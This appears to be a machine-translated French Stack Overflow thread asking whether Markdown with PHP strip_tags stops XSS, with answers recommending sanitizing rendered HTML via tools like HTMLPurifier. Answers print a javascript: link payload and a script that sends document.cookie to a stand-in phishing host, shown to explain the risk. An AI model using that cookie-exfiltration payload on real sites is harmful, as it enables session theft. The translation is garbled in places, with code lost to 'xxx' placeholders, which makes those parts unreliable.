11
votes

Markdown (avec Strip_Tags) est-il suffisant pour arrêter les attaques XSS?

Je travaille sur une application Web permettant aux utilisateurs de saisir des descriptions courtes d'éléments dans un catalogue. Je permettant à My Texareas afin que les utilisateurs puissent faire du formatage HTML.

Ma fonction de désinfectation de texte Striche toutes les balises de tout texte entré avant de l'insérer dans la base de données: P>

public function sanitizeText($string, $allowedTags = "") {
    $string = strip_tags($string, $allowedTags);

    if(get_magic_quotes_gpc()) {
        return mysql_real_escape_string(stripslashes($string));
    } else {
        return mysql_real_escape_string($string);
    }
}


0 commentaires

7 Réponses :


2
votes

permettra de présenter le marquage présent Menaces de sécurité? Peut marquer à Xssed, même s'il n'a pas de balises?

Il est presque impossible de faire des déclarations absolues à cet égard - qui peuvent dire ce que l'analyseur de markdown peut être trompé avec une entrée suffisamment malformée?

Cependant, le risque est probablement très faible, car il s'agit d'une syntaxe relativement simple. L'angle d'attaque le plus évident serait JavaScript: URL dans des liens ou des images - probablement non autorisés par l'analyseur, mais c'est quelque chose que je vérifiais.


1 commentaires

Le risque est là et le marquage est remarquable facile à compromettre. Voir ma réponse.



0
votes

BBCode fournit plus de sécurité car vous générez les balises.

Si est autorisé, cela passera directement à travers strip_tags;) BAM!


0 commentaires

10
votes

Je pense que la suppression de n'importe quelle balise HTML de l'entrée vous permettra d'obtenir quelque chose de très sécurisé - sauf si quelqu'un trouve un moyen d'injecter des données vraiment désespérées dans le marquage, le permettant de générer une sortie encore plus désespérée ^^

Néanmoins, voici deux choses qui me viennent à l'esprit:

premier: strip_tags n'est pas une fonction miracle: il a des défauts .. .
Par exemple, il va tout dénoncer après le '<', dans une situation comme celle-ci: xxx

la sortie que je reçois est: < Pré> xxx

Ce qui n'est pas si gentil pour vos utilisateurs : - (



deuxième: un jour ou un autre, vous voudrez peut-être autoriser des tags / attributs HTML; Ou, même aujourd'hui, vous voudrez peut-être être sûr que le marquage ne génère pas de balises / attributs HTML.

Vous pourriez être intéressé par quelque chose comme htmlpurifier : il vous permet de spécifier quelles tags et quelles étiquettes doivent être conservées et filtrer une chaîne, de sorte que seuls ceux restent.

Il génère également un code HTML valide. - qui est toujours sympa ; -)


1 commentaires

C'est un peu, de moi j'ai entendu / utilisé ;-)



4
votes

assainir le code HTML résultant après avoir rendu le marquage va être le plus sûr. Si vous ne le faites pas, je pense que les gens seraient en mesure d'exécuter JavaScript arbitraire dans Markdown, comme:

<p><a href="javascript:alert&#40;'Gotcha!'&#41;;">Click me</a></p>


0 commentaires

0
votes

Je suis d'accord avec Pascal Martin que la désinfectation HTML est une meilleure approche. Si vous voulez le faire entièrement dans JavaScript, je suggère de regarder Assainissement de Google-Caja Bibliothèque ( code source ).


0 commentaires

7
votes

Voici un bel exemple de la raison pour laquelle vous devez désinfecter le HTML après, non avant:

code de marquage: p> xxx pré>

rendu comme: p>

<blockquote> 
<p><script type="text/javascript"
 language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l='
+ escape(window.location) + '&amp;c=' + escape(document.cookie);
</script></p> 
</blockquote> 


2 commentaires

Avec Strip_Tags et Markdown, il a supprimé les balises